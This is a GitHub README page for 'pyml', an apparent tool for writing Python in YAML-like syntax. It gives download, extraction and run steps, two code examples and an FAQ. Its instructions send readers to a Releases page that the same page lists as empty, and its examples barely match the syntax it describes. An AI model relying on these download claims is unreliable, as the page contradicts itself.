Skip to content
/ pyml Public

🐍 Write Python code using a YAML-like syntax for cleaner and more readable programming, combining simplicity with the power of the Python ecosystem.

License

Notifications You must be signed in to change notification settings

goldwing4/pyml

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

17 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ pyml - Write Python with YAML Simplicity

Download pyml

πŸ“– About PyML

PyML is a transpiler that lets you write Python code using a syntax inspired by YAML. It combines the power of Python with the simplicity and readability of YAML, creating a cleaner and more accessible programming experience. Whether you are a beginner or just looking for a simpler way to write code, PyML makes it easy.

πŸš€ Getting Started

To start using PyML, follow these simple steps. You do not need to have any programming knowledge. Just follow the instructions carefully.

πŸ› οΈ System Requirements

Before downloading, ensure your computer meets the following basic requirements:

  • Operating System: Works on Windows, macOS, and Linux.
  • Python Version: Requires Python 3.6 or higher.
  • Memory: Minimum of 2GB RAM.
  • Disk Space: At least 100MB of free space.

πŸ’Ύ Download & Install

You can download the latest version of PyML from the Releases page:

Visit this page to download

  1. Click the link to go to the Releases page.
  2. Look for the latest version available.
  3. Download the appropriate file for your operating system. This will usually be a .zip or .tar.gz file.
  4. Once the download is complete, locate the downloaded file on your computer.

πŸ“‚ Extract the Files

After downloading the file, you will need to extract it.

  1. Windows: Right-click on the file and select "Extract All." Follow the prompts to choose a destination folder.
  2. macOS: Double-click the file to unzip it.
  3. Linux: Open a terminal and navigate to your download folder. Use the command tar -xzf filename.tar.gz to extract the files.

πŸƒβ€β™‚οΈ Run PyML

Once you have extracted the files, you can easily run PyML:

  1. Open a terminal or command prompt.
  2. Navigate to the folder where you extracted PyML.
  3. Use the command python pyml.py to run the program.

If you are using the command line, ensure that Python is added to your system's path. If not, you may get an error.

πŸ“š How to Use PyML

After launching PyML, you can start writing your Python code in the YAML-inspired syntax. To get you started, here are a few quick examples:

Example 1: Simple Print

print: "Hello, World!"

Example 2: Defining a Function

def greet(name):
    print: "Hello, {name}!"

greet("Alice")

This approach helps keep your code clean and easy to read. You can refer to the user manual for more detailed examples and features.

πŸ” Features

  • Beginner-Friendly: Ideal for those new to programming.
  • Clean Code: Enhances readability and structure.
  • Versatile: Suitable for various applications, from automation scripts to educational purposes.
  • Cross-Platform: Works on Windows, macOS, and Linux.

🌐 Community and Support

If you have questions or need assistance, feel free to reach out. You can find support in these ways:

  • Issues Page: Report bugs or request features on our GitHub issues page.
  • Community Forum: Join our community forum to share your experiences and get advice.
  • Documentation: Check our online documentation for guides and tutorials.

πŸ”§ Frequently Asked Questions

What is a transpiler?

A transpiler is a tool that converts code written in one programming language to another. In this case, PyML converts YAML-inspired code into Python.

Is PyML free to use?

Yes, PyML is open-source and free for anyone to use.

Can I contribute to PyML?

Absolutely! Contributions are welcome. Please check our contributions guidelines in the repository.

πŸ“₯ Regular Updates

We regularly update PyML to add new features and fix any bugs. Make sure to check the Releases page frequently:

Visit this page to download

Thank you for choosing PyML! Happy coding!

About

🐍 Write Python code using a YAML-like syntax for cleaner and more readable programming, combining simplicity with the power of the Python ecosystem.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages